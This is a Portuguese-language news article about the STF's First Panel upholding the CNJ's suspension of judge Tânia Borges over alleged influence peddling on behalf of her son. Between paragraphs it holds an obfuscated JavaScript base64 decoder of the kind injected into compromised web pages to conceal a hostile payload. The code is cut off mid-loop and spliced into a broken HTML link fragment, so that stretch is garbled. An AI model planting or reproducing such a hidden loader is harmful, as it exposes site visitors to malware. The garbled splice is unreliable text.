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STF mantém afastamento da desembargadora Tânia Borges

Redação

[Via Correio do Estado]

Por maioria de votos, a Primeira Turma do Supremo Tribunal Federal (STF), manteve decisão do Conselho Nacional de Justiça (CNJ) que determinou o afastamento da desembargadora Tânia Garcia de Freitas Borges de suas funções jurisdicionais e administrativas até o julgamento final do processo administrativo disciplinar instaurado para apurar suposta prática ilegal de influência sobre magistrados .

A desembargadora é suspeita de cometer infrações disciplinares, por possível prática ilegal de influência sobre juízes, diretor de estabelecimento penal e servidores da administração penitenciária para agilizar o cumprimento de ordem de habeas corpus que garantia a remoção do seu filho, Breno Fernando Sólon Borges, preso sob a acusação de tráfico de drogas, para internação provisória em clínica para tratamento médico em Campo Grande.

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandado-de-seguranca-de-desembargadora-emperra-na-mao-de-alexandre/343423/" target="_blank" rel="noopener">O julgamento havia sido suspenso em dezembro, quando o ministro Alexandre Moraes pediu vista ao mandado de segurança da desembargadora, e foi retomado ontem.

No julgamento, ministro Alexandre de Moraes acompanhou entendimento do relator, afirmando que pedido formulado na ação é incompatível com mandado de segurança, especialmente por não estar demonstrado, por meio de prova inequívoca, ilegalidade ou abuso de poder praticado pela autoridade impetrada que demonstre violação a direito líquido e certo.

O ministro Marco Aurélio entendeu que o afastamento de Tânia ocorreu em fase embrionária do processo, mas foi voto vencido.

A defesa da desembargadora argumentou que o afastamento imposto pelo CNJ seria absolutamente injustificado porque ela teria agido como mãe e não praticado, no exercício de suas funções, qualquer irregularidade ou ilegalidade que justificasse a punição.

A fundamentação ainda alega que os indícios que embasaram a decisão destoaram dos depoimentos colhidos na instrução probatória da reclamação disciplinar e que não há provas que mostram a necessidade de retirar as garantias funcionais da magistrada.

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